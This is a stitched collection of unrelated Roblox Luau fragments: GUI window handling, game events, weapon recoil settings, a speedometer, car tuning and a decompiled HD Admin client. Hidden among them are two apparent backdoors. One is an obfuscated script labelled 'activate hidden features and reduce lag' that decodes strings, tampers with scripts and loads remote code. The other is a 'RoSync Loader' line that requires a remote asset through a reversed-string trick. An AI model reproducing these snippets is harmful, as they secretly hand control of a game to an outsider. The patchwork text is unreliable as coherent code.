new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)
end
if onX then
new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)
end
if xMax then
new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)
end
if yMax then
new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)
end
end)
if data.List then new:GenerateList(data.List) data.List = nil end
end
LoadChildren(new, data.Content or data.Children)
data.Children = nil
data.Content = nil
for i,v in next,data do
if checkProperty(new, i) then
new[i] = v
end
end
new.Parent = parent
return apiIfy(new, data, class),data
end
function apiIfy(gui, data, class)
local newGui = service.Wrap(gui)
gui:SetSpecial("Object", gui)
gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end)
gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end)
gui:SetSpecial("Add", function(ignore, class, data)
if not data then data = class class = ignore end
local new = create(class,data);
new.Parent = gui;
return apiIfy(new, data, class)
end)
gui:SetSpecial("Copy", function(ignore, class, gotData)
local newData = {}
local new
for i,v in next,data do
newData[i] = v
end
for i,v in next,gotData do
newData[i] = v
end
new = create(class or data.Class or gui.ClassName, newData);
new.Parent = gotData.Parent or gui.Parent;
return apiIfy(new, data, class)
end)
return newGui
end
function doClose()
if not isClosed then
isClosed = true
gTable:Destroy()
end
end
function isVisible()
return Main.Visible
end
function doHide(doHide)
local origLH = Hide.LineHeight
if doHide or (doHide == nil and Main.Visible) then
dragSize = Drag.Size
Main.Parent.Minimized.Visible = true
Main.Visible = false
Drag.BackgroundColor3 = Main.BackgroundColor3
Drag.Size = dragSize or Drag.Size
Hide.Outer.Image = "rbxassetid://7472853084"
--Hide.Text = ""
Hide.LineHeight = origLH
gTable.Minimized = true
elseif doHide == false or (doHide == nil and not Main.Visible) then
Main.Visible = true
Main.Parent.Minimized.Visible = false
Drag.Size = dragSize or Drag.Size
Hide.Outer.Image = "rbxassetid://7462814901"
Hide.LineHeight = origLH
gTable.Minimized = false
end
if onMinimize then
onMinimize(Main.Visible)
end
if Walls then
wallPosition()
end
end
function isInFrame(x, y, frame)
if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then
return true
else
return false
end
end
function wallPosition()
if gTable.Active then
local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y
local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y
local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y
if x < 0 then
Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y < 0 then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)
end
if x + abx > gx then
Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y + ySize > gy then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)
end
end
end
function setSize(newSize)
if newSize and type(newSize) == "table" then
if newSize[1] < 50 then newSize[1] = 50 end
if newSize[2] < 50 then newSize[2] = 50 end
Drag.Size = UDim2.new(0,newSize[1],0,25)
Main.Size = UDim2.new(1,0,0,newSize[2])
end
end
function setPosition(newPos)
if newPos and typeof(newPos) == "UDim2" then
Drag.Position = newPos
elseif newPos and type(newPos) == "table" then
Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2])
elseif Size and not newPos then
Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)
end
end
if Name then
gTable.Name = Name
if data.AllowMultiple ~= nil and data.AllowMultiple == false then
local found, num = client.UI.Get(Name, GUI, true)
if found then
doClose()
return nil
end
end
end
if Size then
setSize(Size)
end
if Position then
setPosition(Position)
end
if Title then
Titlef.Text = Title
end
if CanKeepAlive or not ResetOnSpawn then
gTable.CanKeepAlive = true
GUI.ResetOnSpawn = false
elseif ResetOnSpawn then
gTable.CanKeepAlive = false
GUI.ResetOnSpawn = true
end
if Icon then
Iconf.Visible = true
Iconf.Image = Icon
end
if CanvasSize then
ScrollFrame.CanvasSize = CanvasSize
end
if noClose then
Close.Visible = false
Refresh.Position = Hide.Position
Hide.Position = Close.Position
end
if noHide then
Hide.Visible = false
Refresh.Position = Hide.Position
end
if Walls then
Drag.DragStopped:Connect(function()
wallPosition()
end)
end
if onRefresh then
local debounce = false
function DoRefresh()
if not Refreshing then
local done = false
Refreshing = true
task.spawn(function()
while gTable.Active and not done do
for i = 0,180,10 do
rSpinner.Rotation = -i
wait(1/60)
end
end
end)
onRefresh()
wait(1)
done = true
Refreshing = false
end
end
Refresh.MouseButton1Down:Connect(function()
if not debounce then
debounce = true
DoRefresh()
debounce = false
end
end)
Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)
else
Refresh.Visible = false
end
if iconClicked then
Iconf.MouseButton1Down(function()
iconClicked(data, GUI, Iconf)
end)
end
if Menu then
data.Menu.Text = ""
data.Menu.Parent = Main
data.Menu.Size = UDim2.new(1,-10,0,25)
data.Menu.Position = UDim2.new(0,5,0,25)
ScrollFrame.Size = UDim2.new(1,-10,1,-55)
ScrollFrame.Position = UDim2.new(0,5,0,50)
data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)
data.Menu.BorderSizePixel = 0
create("TextLabel",data.Menu)
end
if not SizeLocked then
local startXPos = Drag.AbsolutePosition.X
local startYPos = Drag.AbsolutePosition.Y
local startXSize = Drag.AbsoluteSize.X
local startYSize = Drag.AbsoluteSize.Y
local vars = client.Variables
local newIcon
local inFrame
local ReallyInFrame
local function readify(obj)
obj.MouseEnter:Connect(function()
ReallyInFrame = obj
end)
obj.MouseLeave:Connect(function()
if ReallyInFrame == obj then
ReallyInFrame = nil
end
end)
end
--[[
readify(Drag)
readify(ScrollFrame)
readify(TopRight)
readify(TopLeft)
readify(RightCorner)
readify(LeftCorner)
readify(RightSide)
readify(LeftSide)
readify(Bottom)
readify(Top)
--]]
function checkMouse(x, y) --// Update later to remove frame by frame pos checking
if gTable.Active and Main.Visible then
if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then
inFrame = nil
newIcon = nil
elseif isInFrame(x, y, TopRight) then
inFrame = "TopRight"
newIcon = MouseIcons.TopRight
elseif isInFrame(x, y, TopLeft) then
inFrame = "TopLeft"
newIcon = MouseIcons.TopLeft
elseif isInFrame(x, y, RightCorner) then
inFrame = "RightCorner"
newIcon = MouseIcons.RightCorner
elseif isInFrame(x, y, LeftCorner) then
inFrame = "LeftCorner"
newIcon = MouseIcons.LeftCorner
elseif isInFrame(x, y, RightSide) then
inFrame = "RightSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, LeftSide) then
inFrame = "LeftSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, Bottom) then
inFrame = "Bottom"
newIcon = MouseIcons.Vertical
elseif isInFrame(x, y, Top) then
inFrame = "Top"
newIcon = MouseIcons.Vertical
else
inFrame = nil
newIcon = nil
end
else
inFrame = nil
end
if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then
if inFrame and newIcon then
Mouse.Icon = newIcon
client.Variables.MouseLockedBy = gTable
elseif client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
end
end
local function inputStart(x, y)
checkMouse(x, y)
if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
end
end
local function inputEnd()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--DragEnabled = true
--if Walls then
-- wallPosition()
--end
end
end
local function inputMoved(x, y)
if gTable.Active then
if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then
curIcon = Mouse.Icon
end
if Resizing then
local moveX = false
local moveY = false
local newPos = Drag.Position
local xPos, yPos = x, y
local newX, newY = startXSize, startYSize
--DragEnabled = false
if Resizing == "TopRight" then
newX = (xPos - startXPos) + 3
newY = (startYPos - yPos) + startYSize -1
moveY = true
elseif Resizing == "TopLeft" then
newX = (startXPos - xPos) + startXSize -1
newY = (startYPos - yPos) + startYSize -1
moveY = true
moveX = true
elseif Resizing == "RightCorner" then
newX = (xPos - startXPos) + 3
newY = (yPos - startYPos) + 3
elseif Resizing == "LeftCorner" then
newX = (startXPos - xPos) + startXSize + 3
newY = (yPos - startYPos) + 3
moveX = true
elseif Resizing == "LeftSide" then
newX = (startXPos - xPos) + startXSize + 3
newY = startYSize
moveX = true
elseif Resizing == "RightSide" then
newX = (xPos - startXPos) + 3
newY = startYSize
elseif Resizing == "Bottom" then
newX = startXSize
newY = (yPos - startYPos) + 3
elseif Resizing == "Top" then
newX = startXSize
newY = (startYPos - yPos) + startYSize - 1
moveY = true
end
if newX < MinSize[1] then newX = MinSize[1] end
if newY < MinSize[2] then newY = MinSize[2] end
if newX > MaxSize[1] then newX = MaxSize[1] end
if newY > MaxSize[2] then newY = MaxSize[2] end
if moveX then
newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)
end
if moveY then
newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)
end
Drag.Position = newPos
Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)
if not Titlef.TextFits then
Titlef.Visible = false
else
Titlef.Visible = true
end
else
checkMouse(x, y)
end
end
end
Event(InputService.InputBegan, function(input, gameHandled)
if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
local Position = input.Position
inputStart(Position.X, Position.Y)
end
end)
Event(InputService.InputChanged, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
local Position = input.Position
inputMoved(Position.X, Position.Y)
end
end)
Event(InputService.InputEnded, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
inputEnd()
end
end)
--[[Event(Mouse.Button1Down, function()
if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
checkMouse()
end
end)
Event(Mouse.Button1Up, function()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--if Walls then
-- wallPosition()
--end
end
end)--]]
else
LeftSizeIcon.Visible = false
RightSizeIcon.Visible = false
end
Close.MouseButton1Down:Connect(doClose)
Hide.MouseButton1Down:Connect(function() doHide() end)
gTable.CustomDestroy = function()
service.UnWrap(GUI):Destroy()
if client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
if not isClosed then
isClosed = true
if onClose then
onClose()
end
end
end
for i,child in next,GUI:GetChildren() do
if child.Name ~= "Desc" and child.Name ~= "Drag" then
specialInsts[child.Name] = child
child.Parent = nil
end
end
--// Drag & DisplayOrder Handler
do
local windowValue = Instance.new("BoolValue", GUI)
local dragDragging = false
local dragOffset
local inFrame
windowValue.Name = "__ADONIS_WINDOW"
Event(Main.InputBegan, function(input)
if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end)
Event(Drag.InputBegan, function(input)
if gTable.Active then
inFrame = true
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end
end)
Event(Drag.InputChanged, function(input)
if gTable.Active then
inFrame = true
end
end)
Event(Drag.InputEnded, function(input)
inFrame = false
end)
Event(InputService.InputBegan, function(input)
if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then
dragDragging = true
BringToFront()
dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)
end
end)
Event(InputService.InputChanged, function(input)
if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragDragging = false
end
end)
end
--// Finishing up
local api = apiIfy(ScrollFrame, data)
local meta = api:GetMetatable()
local oldNewIndex = meta.__newindex
local oldIndex = meta.__index
create("ScrollingFrame", nil, ScrollFrame)
LoadChildren(api, Content)
api:SetSpecial("gTable", gTable)
api:SetSpecial("Window", GUI)
api:SetSpecial("Main", Main)
api:SetSpecial("Title", Titlef)
api:SetSpecial("Dragger", Drag)
api:SetSpecial("Destroy", doClose)
api:SetSpecial("Close", doClose)
api:SetSpecial("Object", ScrollFrame)
api:SetSpecial("Refresh", DoRefresh)
api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end)
api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end)
api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end)
api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end)
api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end)
api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end)
api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end)
api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end)
api:SetSpecial("GetSize", function() return Main.AbsoluteSize end)
api:SetSpecial("IsVisible", isVisible)
api:SetSpecial("IsClosed", isClosed)
meta.__index = function(tab, ind)
if ind == "IsVisible" then
return isVisible()
elseif ind == "Closed" then
return isClosed
else
return oldIndex(tab, ind)
end
end
setSize(Size)
setPosition(Position)
if Ready then
gTable:Ready()
BringToFront()
end
return api,GUI
end
|
-- CONSTANTS
|
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
local Defaults = GuiLib:WaitForChild("Defaults")
local RADIOBUTTON_LABEL = Defaults:WaitForChild("RadioButtonLabel")
|
-- << EVENTS >>
|
local module = {
----------------------------------------------------------------------
["DoubleJumped"] = function(bindable, parent, ...)
local humanoid = parent
local jumps = 0
local jumpDe = true
humanoid:GetPropertyChangedSignal("Jump"):Connect(function()
if jumpDe then
jumpDe = false
jumps = jumps + 1
if jumps == 4 then
bindable:Fire()
end
wait()
jumpDe = true
wait(0.2)
jumps = jumps - 1
end
end)
end;
----------------------------------------------------------------------
["EventName"] = function(bindable, parent, ...)
end;
----------------------------------------------------------------------
};
|
--[=[
Captures a snapshot of data to write and then merges it with the original.
@server
@class DataStoreWriter
]=]
|
local require = require(script.Parent.loader).load(script)
local Table = require("Table")
local DataStoreDeleteToken = require("DataStoreDeleteToken")
local DataStoreWriter = {}
DataStoreWriter.ClassName = "DataStoreWriter"
DataStoreWriter.__index = DataStoreWriter
|
--[=[
A version of task.delay that can be cancelled. Soon to be useless.
@class cancellableDelay
]=]
| |
--MOT is up and down while MOT2 is side to side
|
wt = 0.07
while wait(0.01) do
if script.Parent.Values.PBrake.Value == true then
MOT3.DesiredAngle = 0.6
end
if script.Parent.Values.PBrake.Value == false then
MOT3.DesiredAngle = 0.05
end
end
|
--[=[
Returns whether a task is a valid job.
@param job any
@return boolean
]=]
|
function MaidTaskUtils.isValidTask(job)
return type(job) == "function"
or type(job) == "thread"
or typeof(job) == "RBXScriptConnection"
or type(job) == "table" and type(job.Destroy) == "function"
or typeof(job) == "Instance"
end
|
-- activate hidden features and reduce lag --
|
local uq0,wz1,bf,pqa,pc,zt0,rn,rt0,wt,dm,ths,ct0,gf,wsp,qxz,xsp,tp,cnt,qqb,dt,gq6,cq3,bq2,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,rqc,gfr,gch,isa,ict,prt,zz1,rlp,z22=shared,table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn or spawn,type mjt,fsv,rqc,gfr,sfr,isa,drm,ict,prt=
function(yqh,aq1,bq2,cq3,dq4,eq5)if isa(yqh,"ph{`ul{\"u{bz+")then aq1,bq2,cq3=yqh[rqc"Eum`%"],yqh[rqc"Dum`%"],yqh[rqc"pr`;ll`s("]if cq3==rqc"e`{,"then dq4,eq5=yqh[rqc"E("],yqh[rqc"D("]drm(yqh)yqh=ct0(rqc"qsp<")yqh[rqc"Eum`%"],yqh[rqc"Dum`%"],yqh[rqc"E("],yqh[rqc"D("]=aq1,bq2,dq4,eq5 end pc(sfr,yqh,"pr`;",('')[rqc"u`rmzy"](isa(yqh,"mzuz2")and rqc"mzuz2AlPRzuRlP" or rqc"u{bz+Ax{zmu,AlPRzuRlP",rt0(aq1),rt0(bq2)))pc(sfr,yqh,"u{pm`%",aq1 or bq2)pc(ict,yqh)end end,function(yqh)for iq7=1,#svs do sv=svs[iq7]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==yqh then return sv end end end,(function(yqh,lq9)gq6,cq3,bq2,qqb=yqh[pqa[5]..pqa[3]..pqa[10]..pqa[9]],yqh[pqa[7]..pqa[2]..pqa[4]..pqa[8]],yqh[pqa[9]..pqa[1]..pqa[11]..pqa[6]],gf'1'return function(xqg)lq9=#xqg for iq7=1,lq9 do yqh=bq2(xqg,iq7)bf[lq9-iq7+1]=cq3(1-yqh%2+(yqh-yqh%8)%32/4+(yqh-yqh%2)%8*4+(yqh-yqh%32)%64*2+(yqh-yqh%64)%128/2+yqh-yqh%128)end return wz1.concat(bf,nil,1,lq9)end end)'',function(oqa,kq8)return rqc(oqa[rqc(kq8)])end,function(oqa,kq8,vqf)oqa[rqc(kq8)]=vqf end,function(yqh,xqg)return dm[rqc" l\""](yqh,rqc(xqg))end,function(xqg)dbr[rqc"rpu\"qq "](dbr,xqg,0)end,function(yqh,xqg)if not dt[1][yqh]then xqg=ths[rqc"p{zs("](ths)xqg[rqc"psi`}bchm "]=true prt(yqh,xqg)xqg[rqc"u{pm`%"]=yqh end end,function(yqh,xqg,zqi)dt[3][xqg]=true zqi=xqg[rqc"qpx{`c("]zqi=zqi[rqc"uhp{{zh"](zqi,function()if xqg[rqc"u{pm`%"]~=yqh or xqg[rqc"qpsi`lb1"]then dt[1][yqh]=nil dt[3][xqg]=nil pc(ict,yqh)zqi[rqc"uhp{{zhlbq"](zqi)elseif not xqg[rqc"psi`}bchm "]then xqg[rqc"psi`}bchm "]=true end end)end gch=dm[rqc"{pmqsbc(up8"]svs=gch(dm)dbr,
rlp,vsr=fsv"lbmip1",fsv"lmpf`s%",fsv"phb}mp,{t-"dt=uq0[rqc(wz1[rqc"u`h{zh"](pqa))]zz1=ths[rqc"u{pm`%"][rqc"u{pm`%"]if rt0(ths[rqc"u{pm`%"])==rqc"fp{z2"and(rt0(zz1)==rqc"gb5"or rt0(zz1)==rqc"gtiz-")and isa(zz1,"um`%pl`)")then z22=zz1[rqc"qpchtz5"]z22[rqc"uhp{{zh"](z22,function(l)if rlp[rqc"mpuh`m`c(rzm9mpf`s%up8"](rlp,l[rqc"u{pm`%"])then zz1[rqc"fzmulp1"](zz1)end end)end if not dt then dt={{},{},{}}uq0[rqc(wz1[rqc"u`h{zh"](pqa))]=dt cnt=0 xsp(function(a1,a2)ths[rqc"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"wz1[rqc"bch`pmzy"](gch(jsv),function(yqh,xqg)pc(mjt,xqg)end)q0=jsv[rqc"qpqq qsbc("]q0[rqc"uhp{{zh"](q0,function(xqg)wt(rn())pc(mjt,xqg)end)q0=wsp[rqc"qpqq u{`q{phlp1"]q0[rqc"uhp{{zh"](q0,function(xqg)wt(rn())if isa(xqg,"ph{`ul{\"u{bz+")and not isa(xqg,"mzuz2")then pc(ict,xqg)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for iq7=1,#cn do q0[#q0+1]=cn[iq7]end end end xsp(function(sqd,tqe)if not vsr[rqc"zbqtu,l\""](vsr)then sqd,tqe=pc(qqb[rqc"pmbtdpm"],rqc"GFTL]LGTGMMEL[G"^rqc"]LD\\F\\MGFLTEL[F"-rqc"TEERpU\\GEME\\LLGT\\[D")pc(tqe)end end)while true do wt(rn())repeat a1,a2=qxz(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=rqc"A[mp}Aqspbc,Au{bz+"..(zt0(('')[rqc"itl"](rt0(dt),8,15),16)/8)ths[rqc"pr`;"]=knm q0=ths[rqc"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {15,16} --- Vertical Recoil
,HRecoil = {5,7} --- Horizontal Recoil
,AimRecover = .7 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 2.75 --- Vertical Punch
,HPunchBase = 1.35 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .5
,MaxRecoilPower = 3.5
,RecoilPowerStepAmount = .25
,MinSpread = 1.25 --- Min bullet spread value | Studs
,MaxSpread = 40 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.75
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.HotMilk
|
--// States
|
local L_41_ = false
local L_42_ = false
local L_43_ = false
local L_44_ = false
local L_45_ = false
local L_46_ = true
local L_47_ = false
local L_48_ = false
local L_49_ = false
local L_50_ = false
local L_51_ = false
local L_52_ = false
local L_53_ = false
local L_54_
local L_55_
local L_56_
local L_57_
local L_58_
local L_59_ = L_21_.FireMode
local L_60_ = 0
local L_61_ = false
local L_62_ = true
local L_63_ = false
local L_64_ = 70
|
-- RANK, RANK NAMES & SPECIFIC USERS
|
Ranks = {
{5, "Owner", };
{4, "HeadAdmin", {"",0}, };
{3, "Admin", {"",0}, };
{2, "Mod", {"",0}, };
{1, "VIP", {"E",0}, };
{0, "NonAdmin", };
};
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local ScreenGui = nil
local ShiftLockIcon = nil
local InputCn = nil
local IsShiftLockMode = false
local IsShiftLocked = false
local IsActionBound = false
local IsInFirstPerson = false
|
--[[ Last synced 7/9/2021 01:41 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[=[
Gui object which can be reparented or whatever
@prop Gui Instance?
@within BasicPane
]=]
--[=[
Fires whenever visibility changes. FIres with isVisible, doNotAnimate, and a maid which
has the lifetime of the visibility.
:::info
Do not use the Maid if you want the code to work in Deferred signal mode.
:::
@prop VisibleChanged Signal<boolean, boolean, Maid>
@within BasicPane
]=]
| |
--tune
|
local PSI = 35
local Turbos = "Twin" -- "Twin","Single" no quad turbo s14s pls ;)
local TurboSize = "Large" -- "Small","Medium","Large"
local TwoStep = true
local Valve = "BOV" -- "BOV","Bleed"
|
-- Mounts the custom material walking sounds into the provided
-- humanoid. This mounting assumes the HumanoidRootPart is the
-- part that will be storing the character's "Running" sound.
|
function CharacterRealism:MountMaterialSounds(humanoid)
local character = humanoid.Parent
local rootPart = character and character:WaitForChild("HumanoidRootPart", 10)
if not (rootPart and rootPart:IsA("BasePart")) then
return
end
Util:PromiseChild(rootPart, "Running", function (running)
if not running:IsA("Sound") then
return
end
local oldPitch = Instance.new("NumberValue")
oldPitch.Name = "OldPitch"
oldPitch.Parent = running
oldPitch.Value = 1
local function onStateChanged(old, new)
if new.Name:find("Running") then
while humanoid:GetState() == new do
local hipHeight = humanoid.HipHeight
if humanoid.RigType.Name == "R6" then
hipHeight = 2.8
end
local scale = hipHeight / 3
local speed = (rootPart.Velocity * XZ_VECTOR3).Magnitude
local volume = ((speed - 4) / 12) * scale
running.Volume = math.clamp(volume, 0, 1)
local pitch = oldPitch.Value / ((scale * 15) / speed)
running.Pitch = pitch
RunService.Heartbeat:Wait()
end
end
end
local function updateRunningSoundId()
local soundId = self.Sounds.Concrete
local material = humanoid.FloorMaterial.Name
if not self.Sounds[material] then
material = self.MaterialMap[material]
end
if self.Sounds[material] then
soundId = self.Sounds[material]
end
running.SoundId = "rbxassetid://" .. soundId
end
local floorListener = humanoid:GetPropertyChangedSignal("FloorMaterial")
floorListener:Connect(updateRunningSoundId)
running.EmitterSize = 1
running.MaxDistance = 50
updateRunningSoundId()
humanoid.StateChanged:Connect(onStateChanged)
onStateChanged(nil, Enum.HumanoidStateType.Running)
end)
end
|
-- @Context Client/Server
-- Returns a specific loadout from the database
-- @return table
|
function APILoadout.GetLoadoutFromName(loadoutName)
return Database.Loadouts[loadoutName]
end
|
---------------------------------
|
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent.Humanoid.WalkSpeed = 16
end
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 220 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 330 ,
spInc = 30 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 350 ,
spInc = 30 , -- Increment between labelled notches
}
}
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__HDAdminMain__1 = _G.HDAdminMain;
local l__CustomTopBar__2 = l__HDAdminMain__1.gui.CustomTopBar;
for v3, v4 in pairs(l__HDAdminMain__1.signals:GetChildren()) do
if v4:IsA("RemoteEvent") then
v4.OnClientEvent:Connect(function(p1)
if not l__HDAdminMain__1.initialized then
l__HDAdminMain__1.client.Signals.Initialized.Event:Wait();
end;
if v4.Name == "ChangeStat" then
local v5 = p1[1];
l__HDAdminMain__1.pdata[v5] = p1[2];
if v5 == "Donor" then
l__HDAdminMain__1:GetModule("PageSpecial"):UpdateDonorFrame();
return;
end;
else
if v4.Name == "InsertStat" then
table.insert(l__HDAdminMain__1.pdata[p1[1]], p1[2]);
return;
end;
if v4.Name == "RemoveStat" then
local v6 = p1[1];
local v7 = p1[2];
for v8, v9 in pairs(l__HDAdminMain__1.pdata[v6]) do
if tostring(v9) == tostring(v7) then
table.remove(l__HDAdminMain__1.pdata[v6], v8);
return;
end;
end;
return;
end;
if v4.Name == "Notice" or v4.Name == "Error" then
l__HDAdminMain__1:GetModule("Notices"):Notice(v4.Name, p1[1], p1[2], p1[3]);
return;
end;
if v4.Name == "ShowPage" then
